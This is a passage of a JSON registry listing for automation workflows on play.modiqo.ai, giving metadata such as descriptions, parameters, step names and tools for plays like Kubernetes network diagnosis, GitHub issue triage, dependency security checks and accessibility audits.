evidence-backed application analysis.","owner":{"kind":"org","slug":"rameshwar"},"registry_organization":"rameshwar","tags":[],"primary_domain":"domain-uncategorized","author":"Waghrameshwar123","version":"0.0.1","published_at":"2026-09-01T14:35:38.78812+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2135,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["sed","test","test_2","usr_bin_env"]},"parameters":[{"name":"output_dir","type":"string","required":true,"description":"Play parameter"},{"name":"allow_browser_fallback","type":"string","required":true,"description":"Play parameter"},{"name":"job_url","type":"string","required":true,"description":"Play parameter"},{"name":"resume_path","type":"string","required":true,"description":"Play parameter"},{"name":"output_format","type":"string","required":true,"description":"Play parameter"},{"name":"allow_ocr_fallback","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c2a1d144d6bc6d5c877b13207b9c536ccc5e7f4bc5ddaa56c9bf812f030b23ea","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"test","kind":"tool","source":"declared","count":2},{"name":"env","kind":"tool","source":"declared","count":1},{"name":"sed","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/k8s-tools/cross-cluster-service-diagnosis@0.1.0","reference":"k8s-tools/cross-cluster-service-diagnosis@0.1.0","uri":"https://play.modiqo.ai/k8s-tools/cross-cluster-service-diagnosis@0.1.0","manifest_uri":"https://play.modiqo.ai/k8s-tools/cross-cluster-service-diagnosis@0.1.0","name":"cross-cluster-service-diagnosis","title":"cross-cluster-service-diagnosis","description":"Diagnose why a service in one Kubernetes cluster can't reach a service in another cluster: checks DNS resolution, then Service/Pod-CIDR routing, and reports the exact broken layer with remediation options","owner":{"kind":"org","slug":"k8s-tools"},"registry_organization":"k8s-tools","tags":["kubernetes","networking","diagnostics"],"primary_domain":"domain-uncategorized","author":"k8s-tools","version":"0.1.0","published_at":"2026-09-01T12:28:07.170168+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":6566,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":15,"names":["cidr_comparison","deploy_debug_pod","cleanup_debug_pod","dns_resolution_check","wait_debug_pod_ready","resolve_target_pod_ip","source_coredns_config","resolve_target_node_ip","source_pod_resolv_conf","source_pod_route_table","source_node_route_table","connectivity_test_pod_ip","connectivity_test_node_ip","resolve_target_service_ip","connectivity_test_service_ip"]},"parameters":[{"name":"source_context","type":"string","required":true,"description":"kubectl context name for the source cluster (where the debug pod runs)"},{"name":"target_context","type":"string","required":true,"description":"kubectl context name for the target cluster (hosting the service to reach)"},{"name":"target_namespace","type":"string","required":false,"default":"default","description":"namespace of the target Service in the target cluster"},{"name":"target_service","type":"string","required":true,"description":"name of the target Service to diagnose reachability to"},{"name":"target_port","type":"string","required":true,"description":"port to test connectivity against on the target Service/Pod/Node"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7da061665c53639129fa5e04a316bc6e9fba63fe2485031766d8833a60b5f27d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":15,"kinds":{"api":0,"shell":15,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":7,"fan_out":0,"for_each_steps":0,"complexity":15,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":14},{"name":"jq","kind":"tool","source":"inferred","count":12},{"name":"kubectl","kind":"tool","source":"inferred","count":3},{"name":"CIDR","kind":"tool","source":"inferred","count":1},{"name":"kubectl","kind":"tool","source":"declared","count":1},{"name":"to_entries","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/shipquest/shipquest@0.1.0","reference":"shipquest/shipquest@0.1.0","uri":"https://play.modiqo.ai/shipquest/shipquest@0.1.0","manifest_uri":"https://play.modiqo.ai/shipquest/shipquest@0.1.0","name":"shipquest","title":"shipquest","description":"Turn local Git evidence into a truthful, time-boxed quest board without changing the repository.","owner":{"kind":"org","slug":"shipquest"},"registry_organization":"shipquest","tags":[],"primary_domain":"domain-uncategorized","author":"Kirikminchu","version":"0.1.0","published_at":"2026-09-01T11:53:03.911177+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":9413,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["read_branch_context","read_recent_history","read_worktree_state","validate_repository","discover_project_commands"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Local path inside the Git repository to inspect."},{"name":"available_minutes","type":"integer","required":false,"default":45,"description":"Session budget from 5 to 480 minutes."},{"name":"goal","type":"string","required":false,"default":"","description":"Optional user-supplied intent; ShipQuest never invents it."},{"name":"output_style","type":"string","required":false,"default":"quest","description":"Output style, either quest or plain."},{"name":"base_ref","type":"string","required":false,"default":"","description":"Optional local base branch or commit ref override."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:341f5a7f8bd8ed72d032a05775f1d5c61133c85b9756d00966e2256c240cad74","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/manasds/systems-knowledge-gap-map@0.0.1","reference":"manasds/systems-knowledge-gap-map@0.0.1","uri":"https://play.modiqo.ai/manasds/systems-knowledge-gap-map@0.0.1","manifest_uri":"https://play.modiqo.ai/manasds/systems-knowledge-gap-map@0.0.1","name":"systems-knowledge-gap-map","title":"systems-knowledge-gap-map","description":"Analyze a resource or blog link, map it to systems knowledge gaps, and identify application contexts","owner":{"kind":"user","slug":"manasds"},"registry_organization":"manasds","tags":[],"primary_domain":"domain-uncategorized","author":"manasds","version":"0.0.1","published_at":"2026-08-31T14:28:46.002111+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2815,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["browser_links","browser_extract","browser_navigate"]},"parameters":[{"name":"resource_url","type":"string","required":true,"description":"URL of the public resource or blog post to analyze"},{"name":"knowledge_baseline","type":"string","required":false,"default":"unknown","description":"Optional learner baseline"}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:df62c30ca2788aacd8aa82c28a3f758b1f7038f7fa4c4d5ed25a48bd30a6f18c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":0,"browser":3,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/manasds/last-commit-summary@0.1.0","reference":"manasds/last-commit-summary@0.1.0","uri":"https://play.modiqo.ai/manasds/last-commit-summary@0.1.0","manifest_uri":"https://play.modiqo.ai/manasds/last-commit-summary@0.1.0","name":"last-commit-summary","title":"last-commit-summary","description":"Return the last commit SHA, author, date, and message for a GitHub repository","owner":{"kind":"user","slug":"manasds"},"registry_organization":"manasds","tags":["git","github","last-commit"],"primary_domain":"domain-uncategorized","author":"Mddevs21","version":"0.1.0","published_at":"2026-08-31T10:10:14.515828+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3094,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["clone_repo","read_last_commit"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a70812dc3bc17c946502eb22983c35246ee2acbb3a28048c97155fc15d552c9f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"env","kind":"tool","source":"declared","count":1},{"name":"git","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/heavybit-crucible/pricing-page-assessment@0.4.2","reference":"heavybit-crucible/pricing-page-assessment@0.4.2","uri":"https://play.modiqo.ai/heavybit-crucible/pricing-page-assessment@0.4.2","manifest_uri":"https://play.modiqo.ai/heavybit-crucible/pricing-page-assessment@0.4.2","name":"pricing-page-assessment","title":"pricing-page-assessment","description":"Is my pricing page helping or hurting? Choose any reasoning CLI on your PATH as the harness; it snapshots the plan grid, persona, messaging, and CTAs from a pricing-page URL or a folder of pricing docs into a structured file, then applies Heavybit Crucible pricing guidance to produce a decision memo.","owner":{"kind":"org","slug":"heavybit-crucible"},"registry_organization":"heavybit-crucible","tags":["pricing page","pricing","packaging","plans and tiers","is my pricing helping or hurting","founder","crucible-heavybit","effect-read-only"],"primary_domain":"domain-uncategorized","author":"Chetan Conikee","version":"0.4.2","published_at":"2026-08-27T01:51:53.708485+00:00","visibility":"public","quality_score":0.800000011920929,"size_bytes":24691,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["assess","snapshot","route_lens","check_inputs","pricing_lens","auth_crucible"]},"parameters":[{"name":"source","type":"string","required":true,"description":"An HTTP(S) pricing-page URL (default), or a folder path that is searched for pricing documents (Markdown, HTML, or text files whose name mentions pricing or plans, or whose content lists prices and plans). Anything else is rejected."},{"name":"harness","type":"string","required":false,"default":"claude","description":"Reasoning CLI on PATH that snapshots the page and writes the memo. claude, codex, kimi, pi, and hermes get tuned invocations; any other CLI name receives the prompt on stdin. A CLI that is not installed is a hard error."},{"name":"effort","type":"string","required":false,"default":"low","description":"Reasoning budget for the harness.","values":["low","medium","high"]}],"execution":{"adapters":[{"id":"modiqo/crucible","name":"crucible","version":null,"credential_status":"required"},{"id":"crucible","name":"crucible","version":null,"credential_status":"required"}],"browser":true,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8c2894e91310670ab474f6b8791cfa258e75fae5232725ed5314998c89954f5d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":3,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"crucible","steps":3,"methods":["sales_and_commercial","which_skill"],"display_name":"crucible","host":"crucible.heavybit.com/mcp","kind":"mcp","tools":21,"fingerprint":"mcp_frm1vPEWYX2yEnQFX9TfCG8n7R4","source":"modiqo/crucible","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":21},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/swathi/research-paper-evidence-analysis@0.2.0","reference":"swathi/research-paper-evidence-analysis@0.2.0","uri":"https://play.modiqo.ai/swathi/research-paper-evidence-analysis@0.2.0","manifest_uri":"https://play.modiqo.ai/swathi/research-paper-evidence-analysis@0.2.0","name":"research-paper-evidence-analysis","title":"research-paper-evidence-analysis","description":"Creates a domain-neutral evidence packet and analysis request from a local source document. PDF support is limited to born-digital Flate-compressed text PDFs.","owner":{"kind":"user","slug":"swathi"},"registry_organization":"swathi","tags":[],"primary_domain":"domain-uncategorized","author":"swathi","version":"0.2.0","published_at":"2026-08-26T07:08:23.248143+00:00","visibility":"public","quality_score":0.350000023841858,"size_bytes":21985,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a33741a517794bfffe9686e78f7057c2138df15c5fde35c74cd18342843bc8e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/robpumpaf/github-my-issues-priority@0.0.1","reference":"robpumpaf/github-my-issues-priority@0.0.1","uri":"https://play.modiqo.ai/robpumpaf/github-my-issues-priority@0.0.1","manifest_uri":"https://play.modiqo.ai/robpumpaf/github-my-issues-priority@0.0.1","name":"github-my-issues-priority","title":"github-my-issues-priority","description":"List open GitHub issues assigned to a user in a repo and rank them by priority/effort matrix (high priority, low effort first)","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":[],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-07-25T20:42:42.000667+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3414,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["get_user","list_issues"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (issues/list owner field)"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name (issues/list repo field)"},{"name":"state","type":"string","required":false,"default":"open","description":"Issue state filter passed to issues/list (open, closed, all)"}],"execution":{"adapters":[{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c011cab41d52ab1439e8f4e8a748cc061ead575214ab995df91d9727771f3db6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["issues/list","users/get-authenticated"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1194,"fingerprint":"mcp_AFzkNmxTeNYBrCVVszZT58mhxCB","source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1194},"cost":{"api_tokens":402819,"context_tokens":40515,"exploration_ms":4654,"saved_per_run":443334},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/pumpurlabs/github-create-pull-request@0.0.1","reference":"pumpurlabs/github-create-pull-request@0.0.1","uri":"https://play.modiqo.ai/pumpurlabs/github-create-pull-request@0.0.1","manifest_uri":"https://play.modiqo.ai/pumpurlabs/github-create-pull-request@0.0.1","name":"github-create-pull-request","title":"github-create-pull-request","description":"Create a GitHub pull request from a pushed branch.","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":["github","pull-request","write"],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-06-30T09:27:39.398511+00:00","visibility":"public","quality_score":null,"size_bytes":4135,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:87bc0fb501aeaee239aebf844eb2dbdffeabdbfc3aec0a06a3c42baf44906361","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1194},"cost":{"api_tokens":11147,"context_tokens":1299,"exploration_ms":2099,"saved_per_run":12446},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/pumpurlabs/github-pr-ci-triage@0.0.1","reference":"pumpurlabs/github-pr-ci-triage@0.0.1","uri":"https://play.modiqo.ai/pumpurlabs/github-pr-ci-triage@0.0.1","manifest_uri":"https://play.modiqo.ai/pumpurlabs/github-pr-ci-triage@0.0.1","name":"github-pr-ci-triage","title":"github-pr-ci-triage","description":"Summarize non-success GitHub check runs for a pull request head SHA and poll after updates","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":[],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-06-29T16:08:57.836865+00:00","visibility":"public","quality_score":null,"size_bytes":3814,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:30951402322bba7988b6890859142d597133714f6c6c724f0d34b1d73ce97f89","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1194},"cost":{"api_tokens":389484,"context_tokens":39894,"exploration_ms":13181,"saved_per_run":429378},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/package-watch@0.1.0","reference":"rajdeepkushwaha/package-watch@0.1.0","uri":"https://play.modiqo.ai/rajdeepkushwaha/package-watch@0.1.0","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/package-watch@0.1.0","name":"package-watch","title":"package-watch","description":"Tells you what is wrong with the packages your project uses. It reads your lock file, then asks three public sources about every package in it. Six things it looks for: a known security problem in the exact version you have, a package the author has marked dead, one nobody has released in years, one only a single person is allowed to publish, one where somebody NEW can suddenly publish, and one that runs a script on your machine the moment you install it. That fifth one is how supply chain attacks start, and you can only see it by comparing today against yesterday, so this remembers and every run tells you what changed. The version is the whole point. Ask about the name django and you get 321 security problems, because that is every problem ever found in any version of it. Ask about the version you actually have and you get only the ones that affect you: eighteen popular packages pinned to their current release came back completely clean. A source that fails is reported as unread, never as nothing found, because a failed request that reads as \"no problems\" tells you your project is safe at the moment this knows nothing. A package with no version pinned is named, never quietly dropped. Nothing is installed, no package code is ever run, and no account or key is needed. Run it with no settings to see a bundled example that works offline. Needs python3.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["dependencies","security","supply-chain","packages","monitoring"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.0","published_at":"2026-09-06T14:44:31.842507+00:00","visibility":"public","quality_score":1,"size_bytes":20886,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["read","check","judge","selfcheck"]},"parameters":[{"name":"project","type":"string","required":false,"default":"demo","description":"Absolute path to a project with a lock file, or the word demo"},{"name":"budget","type":"string","required":false,"default":"120","description":"Seconds to spend asking about packages before reporting what came back"},{"name":"memory","type":"string","required":false,"default":"default","description":"File that remembers this run so the next one can say what changed. Leave empty to keep no memory."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bb094190b59b08588733b7fa6dffaa090c62b40f7a7c1bf71625af1807ecb64c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sarveshmohite/asset-cleanup-janitor@0.1.0","reference":"sarveshmohite/asset-cleanup-janitor@0.1.0","uri":"https://play.modiqo.ai/sarveshmohite/asset-cleanup-janitor@0.1.0","manifest_uri":"https://play.modiqo.ai/sarveshmohite/asset-cleanup-janitor@0.1.0","name":"asset-cleanup-janitor","title":"asset-cleanup-janitor","description":"Asset cleanup janitor: audit static and interpolated asset references, move unreferenced files, flag large referenced files.","owner":{"kind":"user","slug":"sarveshmohite"},"registry_organization":"sarveshmohite","tags":["shell","process","assets","cleanup"],"primary_domain":"domain-uncategorized","author":"sarveshmohite","version":"0.1.0","published_at":"2026-09-06T14:41:08.986648+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5378,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["apply_moves","audit_assets"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the repository checkout"},{"name":"asset_dir","type":"string","required":false,"default":"assets","description":"Asset directory relative to the repository root"},{"name":"size_threshold_kb","type":"string","required":false,"default":"500","description":"Flag referenced files larger than this many kilobytes"},{"name":"unused_dir","type":"string","required":false,"default":"assets/_unused/unreferenced","description":"Destination directory relative to the repository root"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f3dcdede83b4050f65442309f7e8891e129dcc8d4ad17efa01b1676ce40fadf1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/wcag-browser-audit-pack@0.1.0","reference":"himanshu-jha/wcag-browser-audit-pack@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/wcag-browser-audit-pack@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/wcag-browser-audit-pack@0.1.0","name":"wcag-browser-audit-pack","title":"wcag-browser-audit-pack","description":"Audit up to six trusted web pages in isolated Chromium sessions. Runs WCAG 2.2 AA axe rules with two pages in parallel, saves viewport screenshots and selectors, groups fixes by impact, and writes a separate manual-review checklist. Rereads the evidence before issuing a file-integrity receipt. Excluded frames, blocked requests and uncertain results remain explicit. Does not certify accessibility conformance.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["accessibility","wcag","browser","screenshots","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.0","published_at":"2026-09-06T14:38:57.14415+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":182216,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["audit_pages","build_report","verify_bundle","validate_scope","reserve_outputs"]},"parameters":[{"name":"urls","type":"string","required":true,"description":"JSON array of 1..6 trusted HTTP(S) page URLs. No credentials, query strings or fragments. No crawling or logged-in browser state."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory with an existing trusted parent. Creates private evidence files; never overwrites a previous bundle."},{"name":"width","type":"string","required":false,"default":"1280","description":"Viewport width in CSS pixels, 320..2560. All pages use the same viewport."},{"name":"height","type":"string","required":false,"default":"800","description":"Viewport height in CSS pixels, 240..1440. Screenshots cover this viewport, not the full page."},{"name":"ready_selector","type":"string","required":false,"default":"body","description":"CSS selector that must become visible before scanning, up to 200 characters. Use a loaded-content marker for dynamic pages."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a1ef6ceb7254b3ad004ec8a1f4c92f7a9c3c203ddda12af15c90546ca46d8e22","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":2,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":3},{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/aryan/electricity-bill-audit@0.1.0","reference":"aryan/electricity-bill-audit@0.1.0","uri":"https://play.modiqo.ai/aryan/electricity-bill-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/aryan/electricity-bill-audit@0.1.0","name":"electricity-bill-audit","title":"electricity-bill-audit","description":"Audit Indian household electricity bills against official DISCOM tariff slabs","owner":{"kind":"user","slug":"aryan"},"registry_organization":"aryan","tags":["domain-utility-bill-audit","audience-consumers","effect-read-only"],"primary_domain":"domain-utility-bill-audit","author":"aryan","version":"0.1.0","published_at":"2026-09-06T14:32:06.724491+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6773,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["fetch_tariff","auth_exa_search","identify_discom"]},"parameters":[{"name":"monthly_bill_amount","type":"number","required":true,"description":"Amount paid in rupees on the electricity bill"},{"name":"city_state","type":"string","required":true,"description":"City and state like \"Mumbai, Maharashtra\" or \"Delhi\""},{"name":"monthly_units","type":"number","required":true,"description":"Units consumed in kWh"}],"execution":{"adapters":[{"id":"aryan/exa-search","name":"exa-search","version":null,"credential_status":"required"},{"id":"exa-search","name":"exa-search","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ae9b21e15501ed695e1319a3a88c1bbf5ac13d7752d0280ea4d695babe7d6e5e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[{"adapter":"exa-search","steps":3,"methods":["answer"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"aryan/exa-search","version":"1.4.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · 